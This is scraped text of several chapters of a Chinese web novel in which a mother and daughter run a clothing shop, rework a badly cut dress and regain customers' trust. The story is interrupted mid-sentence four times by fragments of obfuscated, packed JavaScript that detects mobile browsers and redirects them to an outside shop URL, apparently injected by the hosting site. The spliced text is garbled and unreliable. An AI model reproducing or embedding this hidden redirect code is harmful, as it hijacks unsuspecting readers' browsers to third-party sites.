l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441479|201053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是彭其山精心设计的，表情神态、动作各异，小熊穿的衣服也都是不一样的。每个小熊都是绣到布上的，摸上去凸凹有致。 米卡先看整体，再看局部，忽然就get到了这款设计的精致。 国内知名大师的设计名不虚传。看上去低调内敛，其实却暗藏设计感与小心机。 “很好看了，我没有什么意见。”米卡看着这款布料，只觉得无可挑剔。 “那现在结一下设计费吧”，彭其山不忘算账，“5k哈。” “5k？”米卡震惊，“你狮子大开口啊？” “老同学，不然你上网了解一下价格呢？”彭其山仿佛早料到了米卡的反应，“国内稍微有点名气的设计师，设计费都上万了。我给你要5k已经是非常友情价了。” 米卡还真拿起手机查了一下。 “独立设计师面料：设计费 3000-10000元/款，面料售价 100-500元/米 知名设计师工作室：设计费 10000-30000元/款，面料售价 500-1500元/米” 看来真没骗她，属实是自己没概念了。 彭其山这个级别的，最起码也是知名设计师了。 “等回去了我打给你。” 米卡毕竟还是未成年人，虽然看店，但一般情况下，南茜还是把她手里的钱管得很死。 她得回去和南茜要。 “好。那你回去路上小心。”彭其山应。 回去的路上，米卡想着，衣服版型之前就已经设计好了。回头交给工厂生产就好。 等米卡返回自家店里，不出她所料，线下的顾客也纷纷又来店里换货或者退货，都是那件“过年战袍”。 对于这些前一天才买，今天就又找过来的顾客，文烁都建议她们都先试一下大号。 有人觉得大号好一点，觉得还能接受，又实在喜欢这个款式，就拿了大号走了；更多的人试了大号，觉得还是有哪里怪怪的，犹豫纠结半天，最后还是退掉了。 “文烁，你说这衣服是怎么回事？”听完文烁一下午的经历，米卡不自觉地还是想问问她的看法。 “你设计的衣服，我怎么知道？”文烁哑然失笑，“应该就是你设计的尺码偏小了吧，又说不定是工厂偷工减料了呢。” “也是。”米卡一听，立刻觉得这个想法合理。工厂在冬装上偷工减料也是常有的事。 她决定回头找南茜要一下这套的设计稿，对照成品，量一下尺寸是否对得上。 下午，快递员大哥上门来取快递。 “今天又这么多？看来‘过年战袍’卖得还是挺好啊！”大哥还停留在昨天“过年战袍”卖爆了的印象里，乐呵呵地和米卡寒暄。 “唉，您想多了”，米卡叹口气，“今天全是补发的货，尺码偏小了，这些大都是换货重新发的。” “这样啊。”大哥闻言，也不便再追问，收了衣服便匆匆离开。 “叮叮叮”，这时，米卡的手机又有消息传来。她打开一看，竟然是南茜的消息。 “咱家线上咋回事，我看好多退换货的？你还都是按尺码偏小回复的？” 米卡觉得不对。且不说南茜发消息的内容，现在她不是应该在学校吗？ 怎么这个时候，南茜还能给自己发消息？ 14. 竟然还逃课 “你先别问这个，你为啥会这个点给我发微信？” 米卡看了南茜的消息，回复她。 她看了一下时间，现在还有半个小时下课，之后才是晚饭时间。 对面半天没有回复。 米卡无力地想，不至于南茜又是在课上发消息，被老赵抓住了吧。 五分钟以后，南茜回复的消息映入米卡眼帘。 “今天下午我身体不舒服，提前回家了。” “那你现在在家？” “嗯。” 米卡见南茜说自己在家，毫不犹豫地，直接拨通了南茜的电话。 “你咋了？”米卡等电话接通，二话不说直奔主题。 “没啥，中午有点发烧，实在不舒服，下午就请假了。” “咋会发烧的？” “可能昨天晚上洗澡冻着了。”南茜语气平静地胡说八道，“昨天晚上可能就有点烧，早上起来觉得好了，没当回事，谁知道中午越来越难受，所以请假了。” “你现在咋样？”米卡追问。 “没啥了。”南茜着急转移话题，“我说，那个‘过年战袍’套装到底出啥状况了，我看你在链接下加了个‘尺码偏小’的说明。” “对，我在想是不是工厂偷工减料”，米卡忽然想起了正事，“等你回家，把你的设计稿给我，我看看实物和你的设计差多少。” “那个就在店里啊，柜台下面锁着的抽屉里，有我电脑。你翻翻E盘，最近的电子版图纸应该都在那。”南茜回。 “这样啊。那你晚上晚自习还去吗？”米卡问。 “我休息一下再去吧“，南茜说，“反正在家也是点外卖。” “好吧，那你路上小心。”米卡随口应付着南茜，挂了电话。 米卡差不多要开始准备晚上的直播了。 南茜挂了电话，心里舒了一口气。心想，米卡总算被自己糊弄过去了。 她放下手机，把目光落在刚带回来的一系列文件上。 写着她和米卡名字的户口本，米卡的身份证和出生医学证明。 以及那本封面鲜红的，烈士证明书。 南茜今天并没有发烧，但是她也确实没有去上课。 她昨天晚上就给老赵请了假，谎称自己身份证丢了，今天要去补办。 然而她却一早带好所有材料，跑去了教育招生考试机构，替米卡办了高考烈士子女加分的申报。 提交复印材料，并现场核验材料原件。所有流程很顺利，一上午全部办完。 她叹了口气，心里并没有多大的波澜。 在柜子底部，南茜找出她的“秘密盒子”，把烈士证明书又放了回去。 接着，她又从盒子里拿出那张被她一直珍藏着的老照片。 照片上的男人，眼神坚定有力，笑容温和。 那是自己的丈夫，米卡的父亲。 “承安”，南茜喃喃自语，“我真的宁愿阿卡用不到这个加分。” 时间太久了，连悲伤也都好像被遗忘了，轻得像一声叹息。 她一直回避着的、不愿去面对的一切，在这个不得不面对的时刻，依旧狠狠地把她刺痛。 南茜本想像自己像米卡保证的那样，休息一会儿就去学校。 但在这个寂静的下午，当她坐在空无一人的家里，她忽然觉得自己好像被全世界抛弃了。 她一个人走了太久，现在只想休息一会儿。 南茜迷迷糊糊地，就这样趴在桌子上睡着了。 “阿茜，阿茜”，梦里，男人温柔地叫她，“我在的，我一直都在。我一直看着你和阿卡。” “你们都要好好的。我一直在为你们祈福。我们一家人一直在一起。” 一直在一起？ 我们真的，一直在一起吗？ 南茜从梦里醒来的时候，外面的天已经全黑了。 她看见米卡坐在自己对面，时间应该不早了。 当她发现视线有点模糊，才注意到，自己的眼角有一滴泪。 “你怎么了？”米卡的声音里听不出情绪。“你是不是晚上也并没有去学校？” “现在……几点了？”南茜不自觉地问。 “你是还有不舒服吗？”米卡了然，没回答她的问题，反而问道。 她知道，南茜必然是一直睡到了现在。 “没有。”南茜看着自己那张明艳的脸，她无法从那张脸上读出任何表情。 “你刚才一直在叫……承安。”米卡冷着脸，措辞改了又改，最后还是叫出这个名字。 米卡太恨他了，所以实在没办法直接称呼他为“爸爸”。 当女儿叫这个名字的一瞬间，南茜有点恍惚。 她希望米卡永远也不会知道承安到底是谁。不知道就不会痛苦，这样最好。 “你能不能有点出息？”米卡忽然很生气，“他都已经抛弃我们了，你这么多年还在对他念念不忘？” “是啊，他抛弃我们了。”南茜不由喃喃地说。 她倒宁愿米卡一直这样误会下去。哪怕自己一直都还是米卡心中，那个不靠谱的妈。 “所以，你今天是真的发烧了吗？我在你衣兜里翻出了今天上午的出租车票，你根本不是从下午开始才请假的。”米卡开始质问南茜。 南茜这才明白，她何以忽然这么生气。 “呃……对，我是从上午就请假了。”南茜只能咬牙瞎编。 “所以你请假干什么了？”米卡还没有打算放过南茜，“你怕不是因为上学太累了，逃课了吧？” 逃课？ 这实在是南茜没有想到的。 在米卡心里，原来自己已经不靠谱到这个地步了吗。 南茜很伤心。却也无可奈何，只能顺水推舟地承认：“对。我是逃课了，我觉得上学实在太累了。” 这句话彻底点燃了米卡的火气，她觉得南茜很明显就是在敷衍自己。 “你就这么敷衍我是吗？” 米卡情绪激动，往前一步，下意识地抬手挥开了南茜想碰她的手。 她没有刻意控制力度，南茜没有防备，被她推得踉跄了一下，撞到了书桌旁的柜子。 两人都愣在了原地。 米卡看着自己的手，眼神闪过一丝慌乱，面上却还在硬撑： “傻子才会信你编的谎话。你要是不想说，以后啥都别和我说了。” 说完，米卡转身回了房间。只剩南茜站在原地，愣愣地扶着柜子。 良久，南茜离开房间，转身去浴室洗澡。 高挑的身材，紧致的皮肤，这具身体有着少女旺盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441481|201053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的生命力。 她任热水冲过这副年轻的身体，忽然发现例假来了。 米卡和自己年轻时很像，例假每个月都很准时，每28天一次，每次七天，第一天会痛经，中间会停一天。 标准得就像教科书。 这是她的女儿，这些女性特征的体质都遗传于自己。 她现在唯一想做的事，就是保护好自己的女儿。就算她对自己有误解也罢，这都不重要。 她强迫自己集中注意力洗完澡。 出浴，她给自己找了一片卫生巾用上，然后冲了一杯红糖水。 都收拾停当了，南茜才慢慢走到米卡房间门外，犹豫着要不要敲门。 “门没关。”虚掩着的门里，米卡仍旧带着些不满的声音传来。 “我刚才态度不好。”冷静下来的米卡率先开口，“但是你也有问题，不管发生了什么也不能逃课。” “我再问你一遍，你逃课究竟是去干啥了？” 这才是米卡真正想问的。 她根本不相信南茜是无故逃课，或者去玩了。 本来她是会这么相信的。可是她看见了南茜在睡梦中眼角的泪珠，听到了她嘴里念着的“承安”。 米卡忽然就觉得，南茜可能并没有看起来那么没心没肺。 她压力很大。那头店里还挤压了一堆退换货还没有解决，这头南茜竟然瞒着自己逃课。 “我真的是就是压力太大，逃课去玩了。” 南茜知道，米卡这么问，就是已经有所察觉。 可是她只有硬着头皮继续硬撑，“你爱信不信，我今天中午还在市中心的万达一个人吃了海底捞，感觉终于有一天能放松一下了。” 事实上中午南茜还真的去吃火锅了。衣服上沾了火锅味回来的。 一上午的时间，足够南茜把所有手续办好。 只不过，她需要时间来平复心情。所以吃完午饭以后，南茜选择了放空自己，在商场闲逛了一圈后回家。 这也确确实实是逃课了。 最起码，她下午本来是没理由不去上课的。 “妈，我今天很累”，米卡很清楚，南茜是怎么都不肯说实话了，自己算是真的没辙了，“今天那套''过年战袍''一堆人退换货的，这让我压力很大。” “我还正想问你呢，究竟咋回事？” 米卡只能和南茜讲述了一下白天的经历。 “我今天晚上直播以后，在你说的地方找到了设计稿，我对了一下，好像成品和你的设计没啥差别，这就怪了。”米卡说到这儿，语气更疑惑了。 “你觉得会是版型的问题吗？”米卡最后不自觉地问南茜。 “我觉得应该不是吧，我都算好了的。既然成品和设计能对上，那可能是里布之类隐蔽的位置工厂没给够料吧。”南茜若有所思，“往年也出过类似的‘过年战袍’，都没翻过车，还都卖的很好，不然我也不会对今年这个款这么有信心啊。” 米卡听了，觉得南茜说的也有道理。 “先换货看看吧。看看大一号是不是能解决。”南茜也赞同米卡的做法，劝她宽心，“今天白天在店里，不是也有人换了大一号，觉得没啥问题了吗？” 现在也只能这样了，走一步看一步吧。 米卡无奈地想。 15. 改版作战 然而，第二天早上，最令米卡担心的事情还是发生了。 “老板，你们这件衣服，还是有问题啊”，还是刚到店里不久，有个前一天来换货的顾客，就拿着大一号的“过年战袍”又找了过来。 “你来看看，这个袖子胳肢窝的地方，还是很紧，胳膊还是抬不起来啊！” 米卡看顾客试穿上，对方疯狂往上抬手，可袖子还是紧紧地箍在胳膊上。无论怎么努力，都没法把手举过头顶。 与此同时，裙子的下摆倒是随着抬手的动作，一个劲地往上窜，甚至屁股都快遮不住了。 “我看还是退了吧，实在是没法穿”，顾客边说，边脱下裙子，换回自己的衣服，“本来想着版型好看，想将就一下的，真的还是不行，实在穿不了。” “好吧，抱歉这件没能让您满意。” 米卡默默地处理了退货。 并且现在，她开始认真怀疑起这件裙子的版型是不是真的有问题。 她按照南茜的身材，又拿了一件S号的穿上。自己试着抬胳膊，果然复刻了刚才那个顾客的穿衣体验。 胳膊抬不起来，并且下摆往上跑。 她又换了件M的，又试，还是一样的效果。 从试穿的效果来看，米卡可以得出结论，这件裙子，就是版型有问题。 可是米卡不敢确定自己的判断，更不敢贸然下剪子改版型。她对于这些实在是一窍不通。 “叮咚”、"叮咚"，米卡的手机开始响个不停。线上申请退换货的人越来越多了，并且今天又出了几个差评，全是吐槽这件裙子的剪裁的。 她想了想，决定先把线上这件裙子的链接变灰，先保证顾客不能拍下。 然后逐一同意了退款申请。申请换货的，则发消息说明："抱歉，这件衣服现在换货的周期可能会比较长，您看您这边能等吗？" 能等的，米卡就同意换货；不能等的，就直接退款退货了。 米卡一边处理着线上的退换货，一边默默地把这身裙子从线下店里也撤下来。 同时她也盘算着，今天晚上，这件裙子也不能上直播了，得找个没问题的款式来代替。 米卡没有一刻像现在这样需要南茜，她真希望现在就能到晚上。 她想的是，闭店后让南茜到店里，她和南茜能好好商量一下怎么改版，把改版的裙子再重新上架。 只有这样，才有可能挽回店铺的信誉。 米卡一整个白天都在惴惴不安中度过。 好不容易捱到晚上直播结束，正好也是南茜刚下晚自习的时间。米卡让文烁先下班，自己则迫不及待地给南茜打电话。 打了几个，都还没接。应该是没开机。 “喂？”等终于打通电话，米卡火急火燎的对着电话喊，“妈，那件裙子我觉得版型还是有问题，你现在能来趟店里吗，咱们现在改改？” “真的假的？”南茜有点怀疑的语气，但还是马上说，“你稍等我一下，我这就到。文烁回了吗？” “回了。” “好，那你在店里等我。”南茜这才放心往店里赶。 “ 呃，这个好像还真有点问题”，当南茜拿起那件裙子的成品，摸了摸袖子的腋下，并把裙摆撩起来看了看，“袖笼开小了，导致胳膊活动量受影响；另外后片裁短了，所以一动就跟着往上跑。” 米卡自然听不懂这些，她只关心一件事：“那好改吗？” “好改，我实际上是当时拿着春秋薄款的版型就直接给工厂了，没考虑冬季面料厚度的问题”，南茜说着，还不好意思地又吐了吐舌头，“我把富余量留多一点就行了，再发工厂修版。” 说着，她拿出电脑，开机，开始修改电子版图纸。 “我真服了”，米卡这回算是听懂了，“敢情你就是没操心造成的这情况呗？” 南茜默不作声，算是默认，等着迎接米卡暴风骤雨般的吐槽。 “我也不是故意的啊，当时设计这个的时候咱俩刚换过来，白天还要上课，时间紧”。 过了一分钟，米卡还在沉默，南茜这才想到为自己辩解的说辞。 米卡看向正在埋头干活的南茜，心下无奈，也不忍心再说什么，只是道：“你也别说那么多了。今天的作业你给我吧，我先写着。” “哦，在书包里，就剩两页数学了。” 果然又给我剩的是数学。这倒不出米卡所料。她拿出作业，开始做题。 “完事了。” “这就完事了？” 那边米卡才刚准备开始做题，就听见南茜说她“完事了”，不禁诧异。 “对啊，所以我和你说了好改啊。”南茜一副理所当然的语气。 “我的个亲妈”。米卡叹了口气，仰起头，把作业本往脑袋上一盖，“早知道你这么快就改完了，我早就拉着你改了。你知道这两天退换货的人有多少吗，我真的都是十分不好意思地给人家处理的退款退货。” “你昨天还信誓旦旦地和我说版型没问题。还好我还算有点自己的判断。”米卡感叹道。 "是是是，我闺女最有水平，最有判断力了。"南茜还是一如既往地给自己闺女吹彩虹屁。 “那店里的成衣咋办？” “……我改两件出来吧。”本来南茜想着都让工厂统一拿着纸样修改的，但是又实在怕再被米卡骂，“我手工改两件出来，一件S一件M，这样你明天最起码有个样衣。直播也可以用。” “我这会儿先把电子版导个PDF发给工厂微信。明天早上你再帮我盯一下，让他们把没出的成衣按这个改。” 南茜一边说着，一边把电脑放到一边。 她搬来成年论辈子不用的、一直放在角落吃灰的缝纫机，取过成衣开始拆线。 夜渐渐深了。 米卡和南茜母女俩还奋斗在这间小店。一个在修改成衣，一个在写作业。 “还有好几个差评挂在咱家店里”，写着作业，米卡忽然头也不抬地来了一句，“这事儿处理不好，可能影响咱家的名声。” “淡定。”南茜一边在缝纫机上一通操作，一边不咸不淡地回，“你现在做得没啥问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441482|201053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。第一时间下架，处理退换货。等工厂修改好的版本一下来，你就给买了这套的都逐一补发，不会出啥大事。” 米卡闻言，不由放下了手中的笔，看着南茜。 她好像第一次见到南茜这样的一面。 她觉得，好像南茜比她想象中，要更加靠谱一点。 “OK了吗？” 又是南茜先问的这个问题。 “啊？”米卡从作业中抬头，她作业还差两道大题，“你别和我说你两件成衣也都改完了。” “对啊，不然呢。” “真的假的？”米卡不可置信地去翻那两件改好的衣服。 开玩笑，这才过去大半个小时，南茜两件成衣都改好了？ 米卡大致看了下，就看见粗糙的线头还在腋下的袖筒根部，裙子下摆也是粗针大麻线，还皱皱巴巴。 “这，这样就算改好了？”米卡眼角直跳。 “对啊。你别看着粗糙，你只管试试。” 南茜胸有成竹，对自己的敷衍毫不在意。 她把刚用过的针线随意往旁边一摊，把用完了都还没擦干净灰的缝纫机往柜台的角落又放了放。 米卡真想收回刚才觉得她靠谱的想法。 半信半疑地，米卡拿过那件改好的S号穿上，第一件事就是抬胳膊。 完全没问题了。 米卡甚至试着前后轮胳膊，非常自如，怎么活动都没有勒的感觉。裙摆也不再跟着动作往上窜了，胸部也不觉得紧了。 她再看向镜子。改版后的衣服并没有像米卡想象里的，失去了它原先漂亮的版型，它看上去和之前优雅的样子别无二致。 她觉得，这件衣服就好像一个重病的人终于康复了一样。 而那个妙手回春的“医生”就是南茜。 她看向南茜，对方正以一种得意的表情看着自己。 “你得意什么”，米卡简直觉得可气又可笑。她脱下裙子，换回自己的衣服，“这件衣服要不是你的疏忽，早就应该是这个样子，它早就卖爆了好吗！” "哎呀行了行了，真不是没问题了吗。"南茜拍拍米卡的背，才不在意现在米卡怎么说，“咱赶快回去吧，你作业剩多少都回家再写！” 这天晚上，直到躺到床上，米卡还在和线上店里挂了差评的人对线。 她要对方把差评先删了，并表示随后会统一补发调整后没有问题的衣服。 “那就等你们改好，补发的衣服到手我再删评。”对方不依不饶地回复。 也对，米卡想。将心比心，顾客花了钱，却没有买到应有的质量，理应是这个反应。 对方能同意收到补发后删评，就说明TA不是不讲道理的人。 南茜能做的就这么多了，明天就看我的了。 这次的事真的是个教训，以后一定要避免。 米卡这么想着，慢慢放下手机。她的身体和精神都太累了，很快就迷迷糊糊地睡过去。 “叮咚”，“叮咚”，在她睡着后，她没有听见，自己的手机，又收到两条微信消息。 16. 认认真真，踏踏实实 “收到。按照这个修改，我明天下午把改好的成衣给您送到店里。” “另外，之前那批粉色针织衫也都完成了，下午我给您一起送去。” 第二天起床，米卡才看到前一天夜里李老板发来的消息，顿时放心了很多。 “希望今天是个好日子，心想的事儿都能成”。米卡在心里这么想着，嘴里不自觉就哼起了《好日子》的曲调。 她是真的希望今天能把“过年战袍”的糟心事妥善解决。 这个白天，还时不时有来店里的顾客，看中了这身“过年战袍”：“这件好好看，可以拿一件嘛？”顾客问。 “这件现在现货不太够了，下午会来一批货。不然您先留一下电话，等到货了我就通知您？” 也还是有之前买了“过年战袍”，前来退换货的顾客：“你们这件的版型有问题啊，穿着勒胳膊。” “嗯对，这个问题我们已经发现了，现在已经返给工厂，在赶工了。您先试试这个，是不是穿上就没问题了？” 对方半信半疑，但还是接过去店里唯二的那两件赶工出来的样衣之一，到试衣间试了试。 “这个还真没问题了，请问能给我换这件吗？”顾客很满意。 “这件是店里的样衣，挂出来展示，不卖的。”米卡看着样衣上显而易见的线头，只能抱歉地回答顾客，“您要换的话，麻烦您先留个电话，我这边等到货了就通知您。” 除了以上这两种，还有就是执意要退货的顾客。遇见这种情况，米卡一般也不再坚持，同意退货退款。 一天下来，针对这件“过年战袍”，基本上就这三种情况。 在惴惴不安的焦虑中，米卡好不容易等到了下午四点多。 “老板，我来送货了！” 米卡听见这声召唤，腿比大脑先反应过来，飞一样地就跑出店外了。 她期待的那个人，他来了他来了。 他带着改好的“过年战袍”、以及开春的新款、由彭其山设计面料的那件针织衫，走进店里来了。 当然还是上次送错版“过年战袍”的李老板。 “按您的要求，都改好了。还好您说的及时，不然今天上午就把错版都送过来了，还得再跑一趟。”李老板笑呵呵地说。 “那太好了。”米卡想了下，“后面可能这身连衣裙套装还需要追加订单量，如果卖得好的话。” “那肯定卖得好啊，我等您消息！”李老板说着，就和米卡挥手道别。 “好嘞！”米卡挥别了李老板，开心地进店里点货了。 米卡迫不及待地打开了那三个标着“红色连衣裙套装”的箱子。 三个箱子里，分别放了S、M、L码各30件，一共90件。 米卡不由皱了下眉。按照这款的火爆程度，这个量明显不太够。 这些只能先紧着线上顾客的先发货，线下的还需要向工厂追加订单。 明天再送来一批，应该还供得上线下店里顾客拿货。 她拿出手机，给刚走的李老板发消息：“刚才收到的货量果然不太够，需再追加一倍的量。还是各尺码各30件，共90件，明天要。” 干完这件事，米卡连忙又打开线上店铺“过年战袍”的链接，发出昨天晚上就编辑好了的声明： “温馨提示：本套装已完成版型的升级改版。 针对前期版型存在的不合身、剪裁偏差等问题，我们重新打版调整，优化了肩宽、腰腹、裙摆弧度，版型更正、上身更显比例。 新版已全新上架，批次区分清晰，介意的慎拍，喜欢的姐妹可以放心入手。" 接下来，她按照之前拍下连衣裙的客户的信息，一个个给各位发消息说明情况、核对换货地址、批量打包，准备免费补发改好的裙子。 等米卡终于马不停蹄地做完这一切，她抬头看看天色，已经完全黑了。 还有十分钟就要开始直播。她连着忙了快三个小时，连一口晚饭都没顾上吃。 却一点也不觉得饿。 “忙完啦？”文烁见米卡终于停下来，递给她一个袋装的面包，“看你一直忙，没敢打扰你。快吃一口垫吧一下。” “今天的直播一定要好好表现。”米卡边大口嚼着面包，边把改好的“过年战袍”套装重新挂回直播的衣架上。 直播很快开始。 米卡在常规问候以后，便直奔主题，“首先让我来给宝子们介绍今年春节我们家的主打‘过年战袍’。这款是一个连衣裙加外套的套装，连衣裙和外套也都可以单买。这款前两天版型上出现了一些问题，今天已经打版调整完成，重新上架。之前在我们家拍过的，我们会统一补发优化版型之后的新版。后面拍的都是新版，请喜欢的姐妹可以放心入手~” 她尽量用轻松和平常的语气说明着情况，嘴里却不自觉地咽着唾沫。 她时不时还紧张地瞟一眼弹幕，生怕有什么不好的反响。 毕竟因为这件裙子，自家网店里的差评直到现在还没撤下来呢。 “改版了吗？免费补发？” “新版真的没问题了吗？” “店家态度好好，诚意拉满，支持” “本来都退了，早知道就等等了。” “需要退回旧款吗” …… 米卡一看，大多数评论都是比较正面的，不由得松了一口气。 她悬着的心放下了大半，手里捏着那件改好的S号连衣裙，边看弹幕边解释道： “旧款不用退回，我这边直接补发。之前因为版型问题退货的宝子，可以凭之前的购买记录再次以7折购买。至于有没有改好，我试穿给大家看。” 她站起身，拿起手里拿着的裙子，信心满满地套在自己身上。 “大家看，现在新版的大幅度动作都完全没有问题”，米卡侧身面对着镜头，大幅度甩着手臂给大家看，“裙摆也不会往上窜，蹲下之类的动作现在也不会觉得胸前紧绷……” “还发原地址就行，谢谢店家~” “有错就改，不推诿不扯皮，态度很好了~” “小铺实力圈粉，这比那种遇见问题只退差价的店家好太多了！” 直播间的顾客看见米卡的试穿，大多都打消了疑虑，弹幕的反馈也越发正面。 米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441484|201053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡看着这些评论，不知怎地，竟然有种想哭的冲动。 “谢谢大家的支持，小铺会吸取这次教训，继续努力的。真的很感谢大家！” 说着，她竟然控制不住情绪，声音里带上了隐隐的哭腔。 几天以来的危机、差评，她没有心思时间悲伤或害怕，只是执着地想解决办法，从没流过任何一滴泪。 可是现在，她看着这些弹幕，终于体会到：只有店家拿出诚意，顾客才能交出自己的信任。 以心换心，生意才能长久。 “哎呦，店家怎么哭了？不哭不哭” “不哭不哭，好的设计值得被看见，我们支持你” “抱抱，有错能改很难得了” “支持店主，小铺加油！” “小铺加油！” 米卡在模糊的泪眼中，看着弹幕刷得越来越快的一条条消息，心头一暖，鼻子却也跟着一酸，眼泪更控制不住了。 这晚的直播人数也跟着水涨船高。 刚开播的时候和平时差不多的人数，后面人数竟比往常翻了一倍，达到了200多人。 “过年战袍”拍出的件数，更是出乎米卡的预料：整场直播下来，已经超100套了! 这个18岁的女孩，在不知不觉中，将这间风雨飘摇的小店从“死亡”的边缘拽了回来，并赢得了一波好口碑。 直播结束了。米卡却还沉浸在直播里那种感人的氛围中，久久不能回神。 “认认真真，踏踏实实。出新必打版，卖前必试穿。” 米卡打开南茜的笔记本电脑，在上面新建了一个备忘录，郑重其事地，打下了这几个字。 这次的教训是深刻的。虽然挽救了危机，米卡心里却明白，这次的损失惨重，以后一定要避免类似的情况再次发生。 等各位换货的顾客收到新版裙子，差评撤下，这次的风波才算是彻底翻篇。 那时，小店的这一课，才算真真正正地毕业。 文烁已经下班，只剩下米卡一人。 这时候，米卡才想到那个装着粉色针织衫的箱子。 这箱子个头比装“过年战袍”的大好多。她轻轻用剪刀划开，把衣服全都取出来点货。 针织衫到底不占地方，米卡没想到一共有60件。 她挂到店里一件，作为样衣。线上也同时挂上链接，看看热度如何。 出乎米卡意料的是，线上链接才上，就有好多人来问，问题还惊人地一致。 “老板，请问咱家是正版吗？这个图案和‘POPO熊’好像。” 米卡打开网页，搜索POPO熊。 “‘POPO熊’是由布料设计师‘POPO彭’创造的IP……” 这就说得通了。 米卡没多想，回复前来询问的顾客：“咱家是正版哈。这款的图案正是由''POPO彭''本人设计的，和''POPO熊''相似很正常。” 她在心里盘算着，改天编一个“原创声明”，挂在链接里，这事也就算解决了。 这时的米卡怎么也不会想到，这件简简单单的针织衫，以后还能惹出什么样的风波。